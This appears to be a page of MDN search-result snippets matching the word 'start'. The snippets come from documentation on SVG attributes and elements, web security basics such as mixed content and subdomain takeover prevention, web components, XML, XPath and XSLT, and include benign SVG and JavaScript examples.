starting number for the pseudo random number generator of the <feturbulence> filter primitive. only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value ...
stroke-dashoffset - SVG: Scalable Vector Graphics
ipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the
start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the
start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the st...
target - SVG: Scalable Vector Graphics
pecifies the name of the browsing context (tab, inline frame, object, etc.) for display of the linked content. if a context with this name already exists, and can be securely accessed from this document, it is re-used, replacing the existing content. if it does not exist, it is created (the same as '_blank', except that it now has a name). the name must be a valid xml name [xml11], and should not
start with an underscore (u+005f low line character), to meet the requirements of a valid browsing context name from html. specifications specification status comment scalable vector graphics (svg) 2the definition of 'target' in that specification. candidate recommendation removed the _replace value. scalable vector graphics (svg) 1.1 (second edition)the de...
x2 - SVG: Scalable Vector Graphics
0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector
start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the...
xlink:title - SVG: Scalable Vector Graphics
le attribute is used to describe the meaning of a link or resource in a human-readable fashion. the use of this information is highly dependent on the type of processing being done. it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a
starting resource. note: new content should use a <title> child element rather than a xlink:title attribute. these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>,...
Content type - SVG: Scalable Vector Graphics
six hexadecimal characters. the three-digit rgb notation (#rgb) is converted into six-digit form (#rrggbb) by replicating digits, not by adding zeros. for example, #fb0 expands to #ffbb00. this ensures that white (#ffffff) can be specified with the short notation (#fff) and removes any dependencies on the color depth of the display. the format of an rgb value in the functional notation is an rgb
start-function, followed by a comma-separated list of three numerical values (either three integer values or three percentage values) followed by ")". an rgb
start-function is the case-insensitive string "rgb(", for example "rgb(" or "rgb(". for compatibility, the all-lowercase form "rgb(" is preferred. the integer value 255 corresponds to 100%, and to f or ff in the hexadecimal notation: rgb(255,255,2...
<circle> - SVG: Scalable Vector Graphics
of the center of the circle. value type: <length>|<percentage> ; default value: 0; animatable: yes r the radius of the circle. a value lower or equal to zero disables rendering of the circle. value type: <length> ; default value: 0; animatable: yes pathlength the total length for the circle's circumference, in user units. value type: <number> ; default value: none; animatable: yes note:
starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentati...
<ellipse> - SVG: Scalable Vector Graphics
e radius of the ellipse on the x axis. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes ry the radius of the ellipse on the y axis. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. value type: <number> ; default value: none; animatable: yes note:
starting with svg2 cx, cy, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes present...
<feColorMatrix> - SVG: Scalable Vector Graphics
t of r5 ] if, say, we want to make a completely black image redder, we can make the r5 a positive real number x, boosting the redness on every pixel of the new image by x. an identity matrix looks like this: r g b a w r' | 1 0 0 0 0 | g' | 0 1 0 0 0 | b' | 0 0 1 0 0 | a' | 0 0 0 1 0 | in it, every new value is exactly 1 times its old value, with nothing else added. it is recommended to
start manipulating the matrix from here. usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in type values dom interface this element implements the svgfecolormatrixelement ...
<foreignObject> - SVG: Scalable Vector Graphics
rcentage> ; default value: auto; animatable: yes width the width of the foreignobject. value type: <length>|<percentage> ; default value: auto; animatable: yes x the x coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes note:
starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, ...
<line> - SVG: Scalable Vector Graphics
the <line> element is an svg basic shape used to create a line connecting two points. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg> attributes x1 defines the x-axis coordinate of the line
starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes x2 defines the x-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y1 defines the y-axis coordinate of the line
starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y2 defines the y-axis c...
<mpath> - SVG: Scalable Vector Graphics
lements the svgmpathelement interface. example svg <svg width="100%" height="100%" viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the
start, middle and end. --> <path id="path1" d="m100,250 c 100,50 400,50 400,250" fill="none" stroke="blue" stroke-width="7.06" /> <circle cx="100" cy="250" r="17.64" fill="blue" /> <circle cx="250" cy="100" r="17.64" fill="blue" /> <circle cx="400" cy="250" r="17.64" fill="blue" /> <!-- here is a triangle which will be moved about the motion path. it is defined with an upr...
<rect> - SVG: Scalable Vector Graphics
it is specified. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes ry the vertical corner radius of the rect. defaults to rx if it is specified. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength the total length of the rectangle's perimeter, in user units. value type: <number> ; default value: none; animatable: yes note:
starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attri...
<script> - SVG: Scalable Vector Graphics
ses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).pad
start(2,'0') const g = math.round(math.random() * 255).tostring(16).pad
start(2,'0') const b = math.round(math.random() * 255).tostring(16).pad
start(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes ...
<set> - SVG: Scalable Vector Graphics
class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation. the value must match the requirements of the target attribute. ...
<svg> - SVG: Scalable Vector Graphics
e type: <length>|<percentage> ; default value: auto; animatable: yes x the displayed x coordinate of the svg container. no effect on outermost svg elements. value type: <length>|<percentage> ; default value: 0; animatable: yes y the displayed y coordinate of the svg container. no effect on outermost svg elements. value type: <length>|<percentage> ; default value: 0; animatable: yes note:
starting with svg2, x, y, width, and height are geometry properties, meaning these attributes can also be used as css properties. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event at...
<textPath> - SVG: Scalable Vector Graphics
; default value: align; animatable: yes path the path on which the text should be rendered. value type: <path_data> ; default value: none; animatable: yes side which side of the path the text should be rendered. value type: left|right ; default value: left; animatable: yes spacing how space between glyphs should be handled. value type: auto|exact ; default value: exact; animatable: yes
startoffset how far the beginning of the text should be offset from the beginning of the path. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes textlength the width of the space into which the text will render. value type: <length>|<percentage>|<number> ; default value: auto; animatable: yes global attributes core attributes most notably: id, tabindex styling a...
<tspan> - SVG: Scalable Vector Graphics
d/or position of that subtext as needed. html,body,svg { height:100% } <svg viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana! </text> </svg> attributes x the x coordinate of the
starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes y the y coordinate of the
starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes dy shi...
<use> - SVG: Scalable Vector Graphics
animatable: yes width the width of the use element. value type: <length> ; default value: 0; animatable: yes height the height of the use element. value type: <length> ; default value: 0; animatable: yes note: width, and height have no effect on use elements, unless the element referenced has a viewbox - i.e. they only have an effect when use refers to a svg or symbol element. note:
starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes ...
Example - SVG: Scalable Vector Graphics
um_x += motes[i].x; sum_y += motes[i].y; } return [sum_x/motes.length, sum_y/motes.length]; } // a nicer, integer random function rand(modulo) { return math.round( math.random() * (modulo-1)); } // class mote function mote() { // dimensions of drawing area. var dims = dimensions(); var width = dims[0], height = dims[1]; // choose a random coordinate to
start at. this.x = rand( width ); this.y = rand( height ); // nil initial velocity. this.vx = this.vy = 0; // a visual element---initially none this.elt = null; } // turn this into a class. new mote(); // mote::applyforce() -- adjust velocity // towards the given position. // warning: pseudo-physics -- not really // governed by any /real/ physical principles. mote.
Namespaces crash course - SVG: Scalable Vector Graphics
n make sure you always declare the namespaces you use in your xml files. if you don't, user agents such as firefox won't recognize your content and will simply show the xml markup or inform the user that there's an error in the xml. it's a good idea to use a template that includes all the commonly used namespace declarations when creating new svg files. if you don't already have one, make one up
starting with the following code: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> </svg> even if you don't use all those namespaces in a particular document, there's no harm in including the namespace declarations. it may save you from some annoying errors if you end up adding content from one of the unused namespaces at a later date. a full example for a f...
SVG animation with SMIL - SVG: Scalable Vector Graphics
you can set the attribute to define whether the object rotates following the tangent of the path. example 1: linear motion in this example, a blue circle bounces between the left and right edges of a black box, over and over again, indefinitely. the animation here is handled by the <animatemotion> element. in this case, we're establishing a path consisting of a moveto command to establish the
starting point for the animation, then the horizontal-line command to move the circle 300 pixels to the right, followed by the z command, which closes the path, establishing a loop back to the beginning. by setting the value of the repeatcount attribute to indefinite, we indicate that the animation should loop forever, as long as the svg image exists. <svg xmlns="http://www.w3.org/2000/svg" width="300...
Basic Transformations - SVG: Scalable Vector Graphics
but first, let's formally introduce the <g> element. with this helper, you can assign properties to a complete set of elements. actually, that's its only purpose. an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are summed up in an element's transform attribute. transformations can be chained simply by concatenating them, separated by whitespace. translation it may be necessary to move an element around, even though you can position it with the according attributes. ...
Fills and Strokes - SVG: Scalable Vector Graphics
the first path renders 5 filled, 10 empty, 5 filled, and then loops back to create 5 empty, 10 filled, 5 empty. the pattern then repeats. there are additional stroke and fill properties available, including fill-rule, which specifies how to color in shapes that overlap themselves; stroke-miterlimit, which determines if a stroke should draw miters; and stroke-dashoffset, which specifies where to
start a dasharray on a line. using css in addition to setting attributes on objects, you can also use css to style fills and strokes. not all attributes can be set via css. attributes that deal with painting and filling are usually available, so fill, stroke, stroke-dasharray, etc... can all be set this way, in addition to the gradient and pattern versions of those shown below. attributes like width,...
SVG fonts - SVG: Scalable Vector Graphics
0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="300"><!-- outline of exclam. pt. glyph --></glyph> <glyph unicode="@"><!-- outline of @ glyph --></glyph> <!-- more glyphs --> </font> we
start with the <font> element. this bears an id attribute, to enable it to be referenced via a uri (see below). the horiz-adv-x attribute determines how wide a character is on average compared to the path definitions of the single glyphs. the value 1000 sets a reasonable value to work with. there are several accompanying attributes that help further define the basic glyph-box layout. the <font-face> e...
SVG Tutorial - SVG: Scalable Vector Graphics
ust want to draw beautiful images, you might find more useful resources at inkscape's documentation page. another good introduction to svg is provided by the w3c's svg primer. the tutorial is in an early stage of development. if you're able, please help out by chipping in and writing a paragraph or two. extra points for writing a whole page! introducing svg from scratch introduction getting
started positions basic shapes paths fills and strokes gradients patterns texts basic transformations clipping and masking other content in svg filter effects svg fonts svg image tag tools for svg svg and css the following topics are more advanced and hence should get their own tutorials. scripting svg with javascript tbd svg filters tutorial tbd animations with smil in svg tbd ...
SVG: Scalable Vector Graphics
scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics. as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascript, and smil. svg is, essentially, to graphics what html is to text. svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed. additionally, this means they can be created and edited with any text editor or with drawing software. ...
How to fix a website with blocked mixed content - Web security
this follows a practice adopted by internet explorer (since version 9) and chrome. this page explains what you should be aware of as a web developer. your website may break if your website delivers https pages, all active mixed content delivered via http on this pages will be blocked by default. consequently, your website may appear broken to users (if iframes or plugins don't load, etc.). passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. ...
Mixed content - Web security
mixed content resource that was loaded via http will show up in red, along with the text "mixed content", which links to this page. as well as finding these warnings in the web console, you could use content security policy (csp) to report issues. you could also use an online crawler like ssl-check or missing padlock that will check your website recursively and find links to insecure content.
starting in firefox 23, mixed active content is blocked by default (and mixed display content can be blocked by setting a preference). to make it easier for web developers to find mixed content errors, all blocked mixed content requests are logged to the security pane of the web console, as seen below: to fix this type of error, all requests to http content should be removed and replaced with conten...
Features restricted to secure contexts - Web security
at vary by browser some browsers may decide to disable certain apis in non-secure contexts or apply other restrictions/security measures, despite the spec not requiring them. this section lists any such differences existing in browsers. api chrome edge safari firefox application cache restricted to secure contexts planned in chrome 70 deprecation planning
started in february 2018 public interest on deprecation webkit bug 182442 restricted to secure contexts in firefox 62 geolocation restricted to secure contexts in 50 restricted to secure contexts in 10 restricted to secure contexts in 55 device orientaion / device motion deprecation warning deprecation warnings since 60. note that these apply to secure...
How to turn off form autocompletion - Web security
this article explains how a website can disable autocomplete for form fields. by default, browsers remember information that the user submits through <input> fields on websites. this enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has
started typing in) or autofill (that is, pre-populate certain fields upon load). these features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. however, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code). as website author, you might prefer that the browser not remember the valu...
Subdomain takeovers - Web security
matter of order of operations in lifecycle management for virtual hosts and dns. depending on the size of the organization, this may require communication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration. define standard processes for provisioning and deprovisioning hosts. do all steps as closely together as possible.
start provisioning by claiming the virtual host; create dns records last.
start deprovisioning by removing dns records first. create an inventory of all of your organization’s domains and their hosting providers, and update it as things change, to ensure that nothing is left dangling. put pressure on hosting vendors to close gaps; ask how they verify that someone claiming a virtual host act...
Using custom elements - Web Components
xt information. to begin with, the javascript file defines a class called popupinfo, which extends the generic htmlelement class. class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // write element functionality in here ... } } the preceding code snippet contains the constructor() definition for the class, which always
starts by calling super() so that the correct prototype chain is established. inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. in this case we attach a shadow root to the custom element, use some dom manipulation to create the element's internal shadow dom structure — which is then attached to the shadow root — and finally attach...
Using shadow DOM - Web Components
there are some bits of shadow dom terminology to be aware of: shadow host: the regular dom node that the shadow dom is attached to. shadow tree: the dom tree inside the shadow dom. shadow boundary: the place where the shadow dom ends, and the regular dom begins. shadow root:...
XML introduction - XML: Extensible Markup Language
more powerful way to display xml: the extensible stylesheet language transformations (xslt) which can be used to transform xml into other languages such as html. this makes xml incredibly versatile. <?xml-stylesheet type="text/xsl" href="transform.xsl"?> recommendations this article is obviously only a very brief introduction to what xml is, with a few small examples and references to get you
started. for more details about xml, you should look around on the web for more in-depth articles. learning the hypertext markup language (html) will help you better understand xml. ...
xml:base - XML: Extensible Markup Language
e.g. <svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapf...
Functions - XPath
boolean() ceiling() choose() concat() contains() count() current() xslt-specific document() xslt-specific element-available() false() floor() format-number() xslt-specific function-available() generate-id() xslt-specific id() (partially supported) key() xslt-specific lang() last() local-name() name() namespace-uri() normalize-space() not() number() position() round()
starts-with() string() string-length() substring() substring-after() substring-before() sum() system-property() xslt-specific translate() true() unparsed-entity-url() xslt-specific (not supported) ...
Index - XPath
the number function converts an object to a number and returns the number. 42 position xslt, xslt_reference the position function returns a number equal to the context position from the expression evaluation context. 43 round xslt, xslt_reference the round function returns a number that is the nearest integer to the given number. 44
starts-with xslt, xslt_reference the
starts-with checks whether the first string
starts with the second string and returns true or false. 45 string xslt, xslt_reference the string function converts the given argument to a string. 46 string-length xslt, xslt_reference the string-length function returns a number equal to the number of characters i...
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
each node in this list that matches the count attribute, the processor counts how many preceding matching siblings it has, and adds one for the node itself. if no match is found, the sequence will be an empty list. any (not supported at this time.) numbers all matching nodes, regardless of level, sequentially. the ancestor, self, and preceding axes are all considered. the processor
starts at the current node and proceeds in reverse document order, stopping if it reaches a match to any from attribute. if no match to the count attribute is found, the sequence will be an empty list. this level is not supported at this time. from specifies where the numbering should
start or
start over. the sequence begins with the first descendant of the node that matches the from attribute...
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
) (supported) format-number() (supported) function-available() (supported) generate-id() (supported) id() (partially supported) key() (supported) lang() (supported) last() (supported) local-name() (supported) name() (supported) namespace-uri() (supported) normalize-space() (supported) not() (supported) number() (supported) position() (supported) round() (supported)
starts-with() (supported) string() (supported) string-length() (supported) substring() (supported) substring-after() (supported) substring-before() (supported) sum() (supported) system-property() (supported) translate() (supported) true() (supported) unparsed-entity-url() (not supported) ...